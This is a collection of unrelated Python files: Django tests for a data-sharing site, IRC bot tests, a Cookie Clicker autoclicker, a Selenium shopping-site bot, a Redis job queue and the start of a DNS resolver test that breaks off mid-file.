import os import unittest from io import StringIO from datetime import timedelta from urllib.parse import quote from django.conf import settings from django.contrib import auth from django.test import TestCase from django.test.utils import override_settings from django.utils import timezone from oauth2_provider.models import AccessToken from common.testing import BrowserTestCase, get_or_create_user, SmokeTestCase from data_import.models import DataType from open_humans.models import Member from .models import ( DataRequestProject, DataRequestProjectMember, OnSiteDataRequestProject, OAuth2DataRequestProject, ProjectDataFile, ) from .testing import DirectSharingMixin, DirectSharingTestsMixin UserModel = auth.get_user_model() @override_settings(SSLIFY_DISABLE=True) class DirectSharingOnSiteTests(DirectSharingMixin, DirectSharingTestsMixin, TestCase): """ Tests for private sharing on-site projects. """ @classmethod def setUpClass(cls): super(DirectSharingOnSiteTests, cls).setUpClass() cls.join_url = "/direct-sharing/projects/on-site/join/abc-2/" cls.authorize_url = "/direct-sharing/projects/on-site/authorize/abc-2/" user1 = get_or_create_user("user1") cls.member1, _ = Member.objects.get_or_create(user=user1) email1 = cls.member1.primary_email email1.verified = True email1.save() def setUp(self): self.member1_project = DataRequestProject.objects.get(slug="abc-2") self.member1_project.save() def test_join_if_logged_out(self): response = self.client.get(self.join_url) self.assertRedirects(response, "/account/login/") def test_join_if_logged_in(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) response = self.client.get(self.join_url) self.assertEqual(response.status_code, 200) def test_authorize_if_logged_out(self): response = self.client.get(self.authorize_url) self.assertRedirects(response, "/account/login/") def test_authorize_if_logged_in_and_not_joined(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) self.update_member(joined=False, authorized=False) response = self.client.get(self.authorize_url) self.assertRedirects(response, self.join_url) def test_join_if_already_joined(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) self.update_member(joined=True, authorized=False) response = self.client.get(self.join_url) self.assertRedirects(response, self.authorize_url) def test_authorize_if_already_joined(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) self.update_member(joined=True, authorized=False) response = self.client.get(self.authorize_url) self.assertEqual(response.status_code, 200) def test_join_if_already_authorized(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) self.update_member(joined=True, authorized=True) response = self.client.get(self.join_url) self.assertRedirects(response, self.authorize_url) def test_authorize_if_already_authorized(self): login = self.client.login(username="user1", password="user1") self.assertTrue(login) self.update_member(joined=True, authorized=True) response = self.client.get(self.authorize_url) self.assertEqual(b"Project previously authorized." in response.content, True) def test_message_member(self): member = self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/message/?access_token=def456", data={ "project_member_ids": [member.project_member_id], "subject": "Sending a good test email", "message": "The content of this email\nis a test.\n", }, ) response_json = response.json() self.assertEqual(response_json, "success") def test_message_deauthorized_member(self): member = self.update_member(joined=False, authorized=False, revoked=True) response = self.client.post( "/api/direct-sharing/project/message/?access_token=def456", data={ "project_member_ids": [member.project_member_id], "subject": "Sending a bad test email", "message": "The content of this email\nis a test.\n", }, ) response_json = response.json() self.assertIn("errors", response_json) self.assertIn("project_member_ids", response_json["errors"]) self.assertIn( "Invalid project member ID", response_json["errors"]["project_member_ids"][0], ) def test_remove_member(self): projmember = self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/remove-members/?access_token=def456", data={"project_member_ids": [projmember.project_member_id]}, ) response_json = response.json() self.assertEqual(response_json, "success") # Get a fresh copy before checking. projmember = DataRequestProjectMember.objects.get(id=projmember.id) self.assertEqual(projmember.authorized, False) @override_settings(SSLIFY_DISABLE=True) class DirectSharingOAuth2Tests(DirectSharingMixin, DirectSharingTestsMixin, TestCase): """ Tests for private sharing OAuth2 projects. """ @classmethod def setUpClass(cls): super().setUpClass() cls.authorize_url = ( "/direct-sharing/projects/oauth2/authorize/" "?client_id=test-key&response_type=code" ) user1 = get_or_create_user("bacon") cls.member1, _ = Member.objects.get_or_create(user=user1) email1 = cls.member1.primary_email email1.verified = True email1.save() def setUp(self): # Hacky way of inserting requested_sources, but it seems django doesn't # want to read this from the test fixture self.member1_project = OAuth2DataRequestProject.objects.get(slug="abc") project_2 = DataRequestProject.objects.get(slug="abc-2") self.member1_project.requested_sources.add(project_2) self.member1_project.save() self.access_token = AccessToken( application=self.member1_project.application, user=self.member1.user, token="test-token-1", expires=timezone.now() + timedelta(days=1), scope="read", ) self.access_token.save() self.access_token_expired = AccessToken( application=self.member1_project.application, user=self.member1.user, token="test-token-2", expires=timezone.now() - timedelta(days=1), scope="read", ) self.access_token_expired.save() @unittest.skip("Hitting django bug #27398") def test_authorize_if_logged_out(self): response = self.client.get(self.authorize_url) self.assertRedirects( response, "/account/login/oauth2/?connection=abc&next={}".format( quote(self.authorize_url, safe="") ), ) def test_authorize_if_logged_in(self): login = self.client.login(username="bacon", password="asdfqwerty") self.assertTrue(login) self.update_member(joined=False, authorized=False) response = self.client.get(self.authorize_url) self.assertEqual(response.status_code, 200) def test_authorize_if_already_authorized(self): login = self.client.login(username="bacon", password="asdfqwerty") self.assertTrue(login) self.update_member(joined=True, authorized=True) response = self.client.get(self.authorize_url) self.assertTrue(b"Project previously authorized." in response.content) @unittest.skipIf((not settings.AWS_STORAGE_BUCKET_NAME), "AWS not set up.") def test_exchange_member(self): self.update_member(joined=True, authorized=True) project_member = DataRequestProjectMember.objects.get( project=self.member1_project, member=self.member1 ) response = self.client.get( "/api/direct-sharing/project/exchange-member/" "?access_token={}".format(self.access_token) ) json = response.json() self.assertTrue(json["project_member_id"] == project_member.project_member_id) self.assertTrue(json["username"] == "bacon") self.assertTrue(len(json["sources_shared"]) == 2) self.assertTrue("direct-sharing-2" in json["sources_shared"]) self.assertFalse("direct-sharing-1" in json["sources_shared"]) datafile_sources = [x["source"] for x in json["data"]] self.assertIn("direct-sharing-2", datafile_sources) # Project sees its own data. self.assertIn("direct-sharing-2", datafile_sources) # Unauthorized data not available. self.assertNotIn("direct-sharing-3", datafile_sources) def test_exchange_member_token_expired(self): self.update_member(joined=True, authorized=True) response = self.client.get( "/api/direct-sharing/project/exchange-member/" "?access_token={}".format(self.access_token_expired) ) self.assertEqual(response.status_code, 401) self.assertEqual(response.json()["detail"], "Expired token.") @unittest.skip("Obsolete") def test_oauth2_authorize(self): login = self.client.login(username="bacon", password="asdfqwerty") self.assertTrue(login) response = self.client.get(self.authorize_url) data = { "redirect_uri": "http://localhost:8001/oauth-authorize", "scope": "read", "client_id": "test-key", "state": "", "response_type": "code", "allow": "Authorize project", } response = self.client.post(self.authorize_url, data=data) self.assertIn("http://localhost:8001/oauth-authorize?code=", response.url) code = response.url.replace( "http://localhost:8001/oauth-authorize?code=", "" ).replace("&origin=external", "") data = { "client_id": "test-key", "client_secret": "test-secret", "code": code, "grant_type": "authorization_code", "redirect_uri": "http://localhost:8001/oauth-authorize", } response = self.client.post("/oauth2/token/", data=data) json = response.json() self.assertIn("access_token", json) self.assertIn("refresh_token", json) self.assertEqual(json["expires_in"], 36000) self.assertEqual(json["scope"], "read") self.assertEqual(json["token_type"], "Bearer") @unittest.skipIf((not settings.AWS_STORAGE_BUCKET_NAME), "AWS not set up.") def test_member_access_token(self): member = self.update_member(joined=True, authorized=True) datatypes = self.insert_datatypes() self.member1_project.registered_datatypes.clear() self.member1_project.registered_datatypes.add( datatypes.get(name="all your base") ) self.member1_project.registered_datatypes.add( datatypes.get(name="are belong to us") ) self.member1_project.save() response = self.client.post( "/api/direct-sharing/project/files/upload/?access_token={}".format( self.access_token ), data={ "project_member_id": member.project_member_id, "datatypes": '["all your base", "are belong to us"]', "metadata": ( '{"description": "Test description...", ' '"tags": ["tag 1", "tag 2", "tag 3"]}' ), "data_file": StringIO("just testing..."), }, ) response_json = response.json() self.assertIn("id", response_json) self.assertEqual(response.status_code, 201) self.assertNotIn("errors", response_json) data_file = ProjectDataFile.objects.get( id=response_json["id"], direct_sharing_project=self.member1_project, user=self.member1.user, ) self.assertEqual(data_file.metadata["description"], "Test description...") self.assertEqual(data_file.metadata["tags"], ["tag 1", "tag 2", "tag 3"]) self.assertEqual(data_file.file.readlines(), [b"just testing..."]) def test_message_member(self): self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/message/?access_token={}".format( self.access_token ), data={ "subject": "Sending a good test email", "message": "The content of this email\nis a test.\n", }, ) response_json = response.json() self.assertEqual(response_json, "success") def test_message_expired_token(self): self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/message/?access_token={}".format( self.access_token_expired ), data={ "subject": "Sending a bad test email", "message": "The content of this email\nis a test.\n", }, ) self.assertEqual(response.status_code, 401) self.assertEqual(response.json()["detail"], "Expired token.") def test_remove_member(self): projmember = self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/remove-members/?" "access_token={}".format(self.access_token) ) response_json = response.json() self.assertEqual(response_json, "success") # Get a fresh copy before checking. projmember = DataRequestProjectMember.objects.get(id=projmember.id) self.assertEqual(projmember.authorized, False) @override_settings(SSLIFY_DISABLE=True) class DirectSharingOAuth2Tests2(DirectSharingMixin, TestCase): """ Another OAuth2 project to test alternate setup situations. - master token expired - all_sources_access true Because the master token is expired, skip DirectSharingTestsMixin as these are expected to fail. """ @classmethod def setUpClass(cls): super(DirectSharingOAuth2Tests2, cls).setUpClass() cls.authorize_url = ( "/direct-sharing/projects/oauth2/authorize/" "?client_id=test-key-2&response_type=code" ) user1 = get_or_create_user("bacon") cls.member1, _ = Member.objects.get_or_create(user=user1) cls.member1.save() cls.member1_project = OAuth2DataRequestProject.objects.get(slug="abc3") cls.member1_project.save() email1 = cls.member1.primary_email cls.access_token = AccessToken( application=cls.member1_project.application, user=user1, token="test-token-1", expires=timezone.now() + timedelta(days=1), scope="read", ) cls.access_token.save() email1.verified = True email1.save() @unittest.skipIf((not settings.AWS_STORAGE_BUCKET_NAME), "AWS not set up.") def test_exchange_member_all_sources(self): self.update_member(joined=True, authorized=True) project_member = DataRequestProjectMember.objects.get( project=self.member1_project, member=self.member1 ) response = self.client.get( "/api/direct-sharing/project/exchange-member/" "?access_token=test-token-1" ) json = response.json() self.assertTrue(json["project_member_id"] == project_member.project_member_id) self.assertTrue(json["username"] == "bacon") self.assertEqual(len(json["sources_shared"]), 0) datafile_sources = [x["source"] for x in json["data"]] self.assertIn("direct-sharing-1", datafile_sources) def test_message_expired_master_token(self): member = self.update_member(joined=True, authorized=True) response = self.client.post( "/api/direct-sharing/project/message/?access_token=ghi789", data={ "project_member_ids": [member.project_member_id], "subject": "Sending a good test email", "message": "The content of this email\nis a test.\n", }, ) self.assertEqual(response.status_code, 401) self.assertEqual(response.json()["detail"], "Expired token.") class SmokeTests(SmokeTestCase): """ A simple GET test for all of the simple URLs in the site. """ on_site_master_token = "def456" oauth2_master_token = "abc123" authenticated_urls = [ "/direct-sharing/projects/manage/", "/direct-sharing/projects/oauth2/abc/", "/direct-sharing/projects/on-site/abc-2/", # Tests desired appear to fail due to missing 'css_classes', probably # from as_bootstrap templatetag. Might not be django 2 compatible. # '/direct-sharing/projects/oauth2/create/', # '/direct-sharing/projects/oauth2/update/abc/', # '/direct-sharing/projects/message/abc/', # '/direct-sharing/projects/remove-members/abc/', # '/direct-sharing/projects/on-site/update/abc-2/', # '/direct-sharing/projects/on-site/create/', ] authenticated_or_anonymous_urls = [ "/direct-sharing/overview/", "/api/direct-sharing/project/?access_token={0}".format(on_site_master_token), "/api/direct-sharing/project/?access_token={0}".format(oauth2_master_token), "/api/direct-sharing/project/members/?access_token={0}".format( on_site_master_token ), "/api/direct-sharing/project/members/?access_token={0}".format( oauth2_master_token ), ] fixtures = SmokeTestCase.fixtures + ["private_sharing/fixtures/test-data.json"] class BrowserTests(BrowserTestCase): """ Browser tests of direct sharing functionality. """ fixtures = BrowserTestCase.fixtures + ["private_sharing/fixtures/test-data.json"] @unittest.skipIf(settings.NOBROWSER, "skipping browser tests") def test_join_and_authorize(self): driver = self.driver self.login() driver.get( self.live_server_url + "/direct-sharing/projects/on-site/join/abc-2/" ) self.assertEqual( "Join 'abc 2'", driver.find_element_by_css_selector("h3.page-header").text ) driver.find_element_by_id("accept").click() self.assertEqual( "Authorize 'abc 2'", driver.find_element_by_css_selector("h3.page-header").text, ) driver.find_element_by_id("authorize-project").click() self.assertEqual( ( 'You have successfully joined the project "abc 2".' in driver.find_element_by_css_selector(".message.success").text ), True, ) @unittest.skipIf(settings.NOBROWSER, "skipping browser tests") def test_create_on_site(self): driver = self.driver self.login() driver.get(self.live_server_url + "/direct-sharing/projects/manage/") driver.find_element_by_link_text( "Create a new on-site data request project" ).click() driver.find_element_by_id("id_is_study_1").click() driver.find_element_by_css_selector("div.radio > label").click() driver.find_element_by_id("id_name").clear() driver.find_element_by_id("id_name").send_keys("Test Study") driver.find_element_by_id("id_leader").clear() driver.find_element_by_id("id_leader").send_keys("Beau Gunderson") driver.find_element_by_id("id_organization").clear() driver.find_element_by_id("id_organization").send_keys("N/A") driver.find_element_by_id("id_is_academic_or_nonprofit_1").click() driver.find_element_by_id("id_contact_email").clear() driver.find_element_by_id("id_contact_email").send_keys( "beau@beaugunderson.com" ) driver.find_element_by_id("id_info_url").clear() driver.find_element_by_id("id_info_url").send_keys("https://beaugunderson.com/") driver.find_element_by_id("id_short_description").clear() driver.find_element_by_id("id_short_description").send_keys("Just testing!") driver.find_element_by_id("id_long_description").clear() driver.find_element_by_id("id_long_description").send_keys("Just testing!") driver.find_element_by_id("id_badge_image").clear() driver.find_element_by_id("id_badge_image").send_keys( os.path.abspath("static/images/open_humans_logo_only.png") ) driver.findElement(By.id("id_request_sources_access_1")).sendKeys( Keys.PAGE_DOWN ) driver.find_element_by_id("id_request_sources_access_1").click() driver.find_element_by_id("id_request_sources_access_2").click() driver.find_element_by_id("id_request_sources_access_3").click() driver.find_element_by_id("id_request_sources_access_4").click() driver.find_element_by_id("id_request_sources_access_5").click() driver.find_element_by_id("id_request_sources_access_6").click() driver.find_element_by_id("id_request_sources_access_7").click() driver.find_element_by_id("id_request_sources_access_8").click() driver.find_element_by_id("id_request_sources_access_9").click() driver.find_element_by_id("id_request_sources_access_10").click() driver.find_element_by_id("id_request_sources_access_11").click() driver.find_element_by_id("id_request_sources_access_12").click() driver.find_element_by_id("id_request_sources_access_13").click() driver.find_element_by_id("id_request_username_access_1").click() driver.find_element_by_id("id_consent_text").clear() driver.find_element_by_id("id_consent_text").send_keys( "## Consent form\n\n- list item 1\n- list item 2\n- list item 3" ) driver.find_element_by_id("id_post_sharing_url").clear() driver.find_element_by_id("id_post_sharing_url").send_keys( "https://beaugunderson.com/?id=PROJECT_MEMBER_ID" ) driver.find_element_by_id("create-project").click() self.assertEqual( "Test Study", driver.find_element_by_xpath( "//table[@id='on-site-projects']/tbody/tr[1]/td" ).text, ) @unittest.skipIf(settings.NOBROWSER, "skipping browser tests") def test_returned_data_description_activity(self): driver = self.driver driver.get(self.live_server_url + "/") prefix = '//div[@id="activity-direct-sharing-1"]' leader = driver.find_element_by_xpath( '{}//div[@class="leader"]'.format(prefix) ).text self.assertIn("abc", leader) organization = driver.find_element_by_xpath( '{}//div[@class="leader"]'.format(prefix) ).text self.assertIn("abc", organization) description = driver.find_element_by_xpath( '{}//p[@class="activity-description"]'.format(prefix) ).text self.assertIn("abc", description) prefix = '//div[@id="activity-direct-sharing-2"]' leader = driver.find_element_by_xpath( '{}//div[@class="leader"]'.format(prefix) ).text self.assertIn("xyz", leader) organization = driver.find_element_by_xpath( '{}//div[@class="leader"]'.format(prefix) ).text self.assertIn("abcxyz", organization) description = driver.find_element_by_xpath( '{}//p[@class="activity-description"]'.format(prefix) ).text self.assertIn("def", description)
nilq/baby-python
python
import pytest from pyroll.core import Transport class Specs: @Transport.hookspec def hook1(self, transport): """""" Transport.plugin_manager.add_hookspecs(Specs()) def test_hook_not_present(): transport = Transport(time=1) with pytest.raises(AttributeError): print(transport.does_not_exist) def test_hook_result_none(): transport = Transport(time=1) with pytest.raises(AttributeError): print(transport.hook1)
nilq/baby-python
python
#! /usr/bin/env python # -*- coding: utf-8 -*- from django.conf.urls import url, include from delivery import deli, tasks urlpatterns = [ url(r'^$', deli.delivery_list, name='delivery'), url(r'^add/$', deli.delivery_add, name='delivery_add'), url(r'^ist/$', deli.delivery_list, name='delivery_list'), url(r'^status/(?P<project_id>\d+)/$', deli.status, name='delivery_status'), url(r'^edit/(?P<project_id>\d+)/$', deli.delivery_edit, name='delivery_edit'), url(r'^log/(?P<project_id>\d+)/$', deli.log, name='delivery_log'), url(r'^log2/(?P<project_id>\d+)/$', deli.log2, name='delivery_log2'), url(r'^deploy/(?P<project_id>\d+)/$', deli.delivery_deploy, name='delivery_deploy'), url(r'^taskstop/(?P<project_id>\d+)/$', deli.task_stop, name='delivery_taskstop'), url(r'^delete/$', deli.delivery_del, name='delivery_del'), ]
nilq/baby-python
python
from distutils.core import setup import os here = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(here, 'README.md')) as f: README = f.read() with open(os.path.join(here, 'CHANGES.md')) as f: CHANGES = f.read() setup(name='django-cli', packages=['django-cli'], version='0.0.1', description='Command line interface for sensible Django projects.', long_description=README + '\n\n' + CHANGES, author='Brandon J. Schwartz', author_email='brandon@boomajoom.com', url='https://github.com/brandonjschwartz/django-cli', download_url='https://github.com/brandonjschwartz/django-cli/tarball/0.0.1', classifiers=[ 'Development Status :: 1 - Planning', 'Environment :: Web Environment', 'Framework :: Django', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 3.5', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Utilities' ], )
nilq/baby-python
python
# -*- coding: utf-8 -*- from irc3.testing import BotTestCase, MagicMock from irc3.plugins.autojoins import AutoJoins class TestAutojoin(BotTestCase): def test_autojoin_without_diese(self): bot = self.callFTU(autojoins=['foo']) bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 376 irc3 :End of /MOTD command.') self.assertSent(['JOIN #foo']) bot.dispatch(':hobana.freenode.net 376 irc3 :End of /MOTD command.') self.assertSent([]) def test_nomotd_events_removed(self): bot = self.callFTU(autojoins=['#foo']) bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 422 irc3 :No MOTD.') self.assertSent(['JOIN #foo']) bot.dispatch(':hobana.freenode.net 422 irc3 :No MOTD.') self.assertSent([]) def test_autojoin_nomotd(self): bot = self.callFTU(autojoins=['#foo']) bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 422 irc3 :No MOTD.') self.assertSent(['JOIN #foo']) def test_autojoin(self): bot = self.callFTU(autojoins=['#foo']) bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 376 irc3 :End of /MOTD command.') self.assertSent(['JOIN #foo']) bot.dispatch(':kicker!k@k KICK #foo irc3') self.assertSent(['JOIN #foo']) bot.dispatch(':kicker!k@k KICK #foo irc3 :bastard!') self.assertSent(['JOIN #foo']) plugin = bot.get_plugin(AutoJoins) self.assertEqual(plugin.handles, {}) bot.dispatch(':server 473 irc3 #foo :You are banned') self.assertSent(['JOIN #foo']) self.assertIn('#foo', plugin.handles) self.assertEqual(2, plugin.handles['#foo'][0]) # assume it doesn't break when a timeout is set bot.dispatch(':server 473 irc3 #foo :You are banned') self.assertSent(['JOIN #foo']) self.assertEqual(8, plugin.handles['#foo'][0]) bot.dispatch(':kicker!k@k KICK #foo irc3 :bastard!') self.assertSent(['JOIN #foo']) self.assertNotIn('#foo', plugin.handles) bot.notify('connection_lost') def test_autojoin_delay(self): bot = self.callFTU(autojoins=['#foo'], autojoin_delay=3) bot.loop.call_later = MagicMock() bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 422 irc3 :No MOTD.') self.assertTrue(bot.loop.call_later.called) def test_autojoin_reload(self): bot = self.callFTU(autojoins=['#foo', '#bar']) bot.notify('connection_made') bot.dispatch(':hobana.freenode.net 422 irc3 :No MOTD.') self.assertSent(['JOIN #foo', 'JOIN #bar']) bot.config['autojoins'] = ['#foo', '#foo2'] bot.reload() self.assertSent(['JOIN #foo2', 'PART #bar'])
nilq/baby-python
python
""" My fun little python script to autoclick in cookie clicker #Only functions on Windows right now """ from ctypes import windll, Structure, c_long, byref, wintypes import keyboard import time import sys from msvcrt import kbhit, getch click = False pressed = False running = True setx = 0 sety = 0 offstr = "OFF" onstr = "ON" def getCursorPos(): pt = wintypes.POINT() windll.user32.GetCursorPos(byref(pt)) return pt def keyboardInput(callback): global pressed global click global setx global sety if callback.event_type == 'down': if callback.name == 'home' and pressed == False: pressed = True if callback.event_type == 'up' and pressed == True: if(callback.name == 'home'): pressed = False setx = getCursorPos().x sety = getCursorPos().y click = not click def handleMouse(): windll.user32.SetCursorPos(setx, sety) windll.user32.mouse_event(0x0002, 0, 0, 0, 0) windll.user32.mouse_event(0x0004, 0, 0, 0, 0) def milliTime(): return int(round(time.time() * 1000)) def mainfun(): global click global running print("\nInitializing AutoClicker...") clickIndex = 0 timer = milliTime() keyboard.hook(keyboardInput) doClick = 0 clickedSec = 0 clickedLast = 0 toggle = offstr print("AutoClicker Initialized!") print("\nPress HOME anywhere to toggle autoclicking, and press ESC in console window to exit autoclicker.\n") while running: if kbhit(): key = ord(getch()) if key == 27: running = False if click: if(doClick >= 30): doClick = 0 if doClick == 0: handleMouse() clickedSec += 1 doClick += 1 toggle = onstr else: toggle = offstr if(milliTime() - timer >= 1000): timer = milliTime() #print("\rClicks Last Second: " + str(clickedSec)) clickedLast = clickedSec clickedSec = 0 print("AutoClicker toggled: " + toggle + " | Clicks Last Second: " + str(clickedLast) + " ", end=' \r') if running == False: print("\n\nAutoClicker ending...") if __name__ == "__main__": mainfun()
nilq/baby-python
python
import asyncio from concurrent.futures import ThreadPoolExecutor async def run_in_executor(method): loop = asyncio.get_event_loop() result = await loop.run_in_executor(None, method) return result
nilq/baby-python
python
from time import sleep from loguru import logger from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.wait import WebDriverWait from selenium.common.exceptions import TimeoutException from selenium.webdriver.support.ui import Select from selenium import webdriver from bot.constants import TIMEOUT from bot.driver.driver import get_chrome_driver as get_driver class RozetkaBot: def __init__(self, driver_type): self.driver = get_driver(driver_type) self.timeout = TIMEOUT def find(self, xpath): sleep(0.5) return WebDriverWait(self.driver, self.timeout).until(EC.visibility_of_element_located((By.XPATH, xpath))) def find_click(self, xpath): return WebDriverWait(self.driver, self.timeout).until(EC.element_to_be_clickable((By.XPATH, xpath))) def find_all(self, xpath): sleep(0.5) return WebDriverWait(self.driver, self.timeout).until(EC.visibility_of_all_elements_located((By.XPATH, xpath))) def auth(self, login, password): self.find('//button[@class="header__button ng-star-inserted"]').click() self.find('//input[@id="auth_email"]').send_keys(login) self.find('//input[@id="auth_pass"]').send_keys(password) self.find('//button[contains(@class, "auth-modal__submit")]').click() try: self.find('//div[contains(@class,"recaptcha-checkbox")]') except TimeoutException: # can't check if indeed logged in logger.debug(f"Logged in as {login}") else: self.find('//div[contains(@class,"recaptcha-checkbox")]').click() self.find('//button[contains(@class, "auth-modal__submit")]').click() # can't check if indeed logged in logger.debug(f"Logged in as {login} after captcha") def open_phones(self): # self.find('//button[@id="fat-menu"]').click() # self.find('//a[contains(@href, "c4627949")]').click() # doesn't work :( # self.find('//a[contains(@href, "c80003")]').click() self.driver.get('https://rozetka.com.ua/ua/mobile-phones/c80003/preset=smartfon/') logger.debug("Opened smartphones") def check_boxes(self): # brand self.find('//a[@data-id="OnePlus"]').click() # //label[@for="OnePlus"] self.find('//a[@data-id="Samsung"]').click() self.find('//a[@data-id="Xiaomi"]').click() logger.debug("Sorted by brands") # ram self.find('//a[@data-id="8 ГБ"]').click() self.find('//a[@data-id="12 ГБ"]').click() logger.debug("Sorted by RAM") # memory self.find('//a[@data-id="128 ГБ"]').click() self.find('//a[@data-id="256 ГБ"]').click() logger.debug("Sorted by memory") # screen self.find('//a[contains(@data-id, "6.49")]').click() self.find('//a[contains(@data-id, "6.5")]').click() logger.debug("Sorted by screen size") # processor self.find('//a[contains(@data-id, "Qualcomm")]').click() logger.debug("Sorted by processor") # price self.find('//input[@formcontrolname="min"]').clear() self.find('//input[@formcontrolname="min"]').send_keys(10000) self.find('//input[@formcontrolname="max"]').clear() self.find('//input[@formcontrolname="max"]').send_keys(20000) self.find('//button[text()=" Ok "]').click() logger.debug("Sorted by price") def sort(self): Select(self.find('//select')).select_by_visible_text('Новинки') logger.debug("Sorted by 'Новинки'") def add_to_compare_and_click(self, first_n): elements = self.find_all(f'//button[contains(@class,"compare-button")]') for el in elements[:first_n]: # for ElementClickInterceptedException webdriver.ActionChains(self.driver).move_to_element(el).click(el).perform() logger.debug("Added to compare") self.find('//button[contains(@aria-label, "Списки")]').click() self.find('//a[contains(@class, "comparison")]').click() self.find('//button[contains(text(),"відмінності")]').click() logger.debug("Chose only differences")
nilq/baby-python
python
# _*_ coding: utf-8 _*_ import json import uuid from datetime import datetime from multiprocessing import Process import redis __author__ = 'Arun KR (@kra3)' class SimpleJobQueue(object): SCHEDULED, IN_PROGRESS, DONE, FAILED = ( 'SCHEDULED', 'IN_PROGRESS', 'DONE', 'FAILED') TIMESTAMP, PAYLOAD, STATUS, QUEUE, RESULT = ( 'timestamp', 'payload', 'status', 'queue', 'result') def __init__(self, host='localhost', port=6379): self._redis = redis.StrictRedis(host=host, port=port) @property def redis(self): return self._redis def _get_schedule_queue(self, queue_name): return 'SCHED::{}'.format(queue_name) def _get_work_queue(self, queue_name): return 'WORK::{}'.format(queue_name) def _get_data_set(self, job_id): return "DATA::{}".format(job_id) def _build_unique_id(self): return uuid.uuid4().hex def _get_timestamp(self): return datetime.now().timestamp() def package_result(self, res): return json.dumps(res) def publish_to(self, queue_name): def _publish(func): def _inner(*args, **kwargs): res = func(*args, **kwargs) job_id = self._build_unique_id() with self.redis.pipeline() as pipe: try: pipe.hmset(self._get_data_set(job_id), { self.TIMESTAMP: self._get_timestamp(), self.QUEUE: queue_name, self.STATUS: self.SCHEDULED, self.PAYLOAD: self.package_result(res) }) pipe.lpush( self._get_schedule_queue(queue_name), job_id) pipe.execute() except Exception as e: print(e) return job_id return _inner return _publish def subscribe_to(self, queue_name): def _subscribe(func): def _worker(): while True: # move a scheduled item to work queue job_id = self.redis.brpoplpush( self._get_schedule_queue(queue_name), self._get_work_queue(queue_name), 10) if not job_id: continue else: job_id = job_id.decode("utf-8") # update timestamp self.redis.hmset(self._get_data_set(job_id), { self.TIMESTAMP: self._get_timestamp(), self.STATUS: self.IN_PROGRESS }) payload = self.redis.hget( self._get_data_set(job_id), self.PAYLOAD) try: res = func(json.loads(payload)) except Exception as e: self.redis.hmset(self._get_data_set(job_id), { self.TIMESTAMP: self._get_timestamp(), self.STATUS: self.FAILED, self.RESULT: self.package_result(str(e)) }) else: self.redis.hmset(self._get_data_set(job_id), { self.TIMESTAMP: self._get_timestamp(), self.STATUS: self.DONE, self.RESULT: self.package_result(res) }) # start a worker thread p = Process(target=_worker, args=[]) p.start() p.join() return _subscribe def get_status(self, job_id): key = self._get_data_set(job_id) if self.redis.exists(key): status, result = self.redis.hmget(key, self.STATUS, self.RESULT) res = {'status': status} if result is not None: res['result'] = result return res else: return {'status': 'error', 'reason': 'job not found'}
nilq/baby-python
python
l=[] for i in range(int(input())): l.append(input().split()) ans=[] for i in l: if i[1]=='rat': ans.append(i[0]) for i in l: if i[1]=='woman' or i[1]=='child': ans.append(i[0]) for i in l: if i[1]=='man': ans.append(i[0]) for i in l: if i[1]=='captain': ans.append(i[0]) for i in ans: print(i)
nilq/baby-python
python
#! /usr/local/bin/stackless2.6 # by pts@fazekas.hu at Tue Feb 2 21:18:10 CET 2010 import cStringIO import syncless.coio import socket import unittest # TODO(pts): Test reverse lookup without canonical name. # TODO(pts): Test for IPv6 addresses: # print syncless.coio.dns_resolve_ipv6('www.ipv6.org') #: <dnsresult code=0, t=3, ttl=2936 value=['2001:6b0:1:ea:202:a5ff:fecd:13a6'] at 0xb7d76d24> # print syncless.coio.dns_resolve_reverse('2001:6b0:1:ea:202:a5ff:fecd:13a6') #: <dnsresult t=2, ttl=3446 values=['igloo.stacken.kth.se'] at 0x824226c> ERR_NODATA = set([1]) ERR_ADDRFAMILY = set([2]) ERR_HOST_NOT_FOUND = set([3]) ERR_NONAME = set([4]) RESOLVE_IPV4_RESULT = { '152.66.84.8': ['152.66.84.8'], '127.5.6.7': ['127.5.6.7'], '74.125.39.106': ['74.125.39.106'], 'mail.szit.bme.hu': ['152.66.84.8'], 'fourier.szit.bme.hu': ['152.66.84.8'], 'www.google.com': ['74.125.39.106', '74.125.39.103', '74.125.39.147', '74.125.39.104', '74.125.39.105', '74.125.39.99'], 'www.l.google.com': ['74.125.39.106', '74.125.39.103', '74.125.39.147', '74.125.39.104', '74.125.39.105', '74.125.39.99'], 'foo.bar.baz': None, 'www.ipv6.org': ['130.237.234.40'], 'unknown': None, } RESOLVE_REVERSE_RESULT = { '152.66.84.8': ['fourier.szit.bme.hu'], '2001:6b0:1:ea:202:a5ff:fecd:13a6': ['igloo.stacken.kth.se'], '74.125.39.106': ['fx-in-f106.1e100.net'], '130.237.234.40': ['igloo.stacken.kth.se'], '127.5.6.7': None, } GETHOSTBYNAME_RESULT = { 'other': '1.2.3.5', '1.2.3.5': '1.2.3.5', 'bogus3': '1.2.3.4', 'bogus4.foo.bar': '1.2.3.4', '1.2.3.4': '1.2.3.4', 'localhost': '127.0.0.1', '127.0.0.1': '127.0.0.1', '127.5.6.7': '127.5.6.7', '152.66.84.8': '152.66.84.8', '2001:6b0:1:ea:202:a5ff:fecd:13a6': ERR_ADDRFAMILY, '74.125.39.106': '74.125.39.106', 'foo.bar.baz': ERR_NODATA, 'fourier.szit.bme.hu': '152.66.84.8', 'mail.szit.bme.hu': '152.66.84.8', 'www.google.com': '74.125.39.106', 